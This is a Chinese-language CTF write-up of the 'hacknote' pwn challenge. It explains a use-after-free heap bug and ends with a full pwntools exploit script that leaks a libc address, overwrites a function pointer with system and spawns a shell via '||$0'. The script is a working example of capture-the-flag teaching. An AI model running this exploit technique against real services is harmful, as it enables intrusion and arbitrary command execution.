(攻防世界)(pwn)hacknote

use after free 堆!堆!堆!

终于对堆的结构有了一定的了解,开始做堆的题目,恰巧攻防世界xctf中有这么一题可以练练手,还是挺不错的。。。
对于use after free呢,这里有ctf-wiki的学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/
写的非常详细,很实用。
拿到题目,下载附件,习惯性的查看保护:
(攻防世界)(pwn)hacknote
只开了Canary保护,没开PIE,很好。
接下来进入IDA查看程序逻辑:
(攻防世界)(pwn)hacknote
可以看到,程序有四个功能,1.添加一个note。2.删除一个note。3.打印note的内容。4.退出程序。
可以看到,这是一个典型的菜单题,对于这种题目,相信大家也见的不少了。
我们先看看功能1:
(攻防世界)(pwn)hacknote

程序会先申请一个大小为0x8的堆指针,然后让你对所要申请的堆编辑大小,最后让你在你所申请的堆中赋值。
再来看看删除功能:
(攻防世界)(pwn)hacknote

我们会看到,程序只是简单的free掉堆指针,并没有把指针赋值为NULL,相信上过C语言程序设计时,老师应该讲过,如果不把指针赋值为NULL,就会产生野指针,你就不知道他会指向哪,其实当时只是为了让你理解,我们知道他任然指向我们已经释放了的堆块。
这里就是典型的use after free漏洞,我们可以对其进行利用。
先不急,我们看一下功能三,看一下还有没有什么有趣的东西:
(攻防世界)(pwn)hacknote

打印我们为note赋的值,嗯~ o( ̄▽ ̄)o,我们可以利用
一下,把puts的got表值改为system,嗯,很有趣!
接下来我们就可以开始编写exp了,在CTF-wiki中已经有很好的解释了,我们这边就说一下不同的地方。
因为攻防世界的这题没有后门,所以可能麻烦一点:

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',50630)
#p=process('./hacknote')
elf=ELF('./hacknote')
libc=ELF('./libc-2.23.so')
def add_note(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(str(content))
def put_note(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
def del_note(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
add_note(0x20,'aaaa')
add_note(0x20,'aaaa')
del_note(0)
del_note(1)
put_plt=0x0804862b
put_got=elf.got['puts']
add_note(0x8,p32(put_plt)+p32(put_got))
put_note(0)
put_addr=u32(p.recv(4))
print hex(put_addr)
offset=put_addr-libc.symbols['puts']
sys_addr=libc.symbols['system']+offset
del_note(2)
add_note(0x8,p32(sys_addr)+'||$0')
put_note(0)
p.interactive()
上一篇:【14】利用函数的凹凸性证明一道积分不等式


下一篇:18.5.2 多线程并发服务器端的实现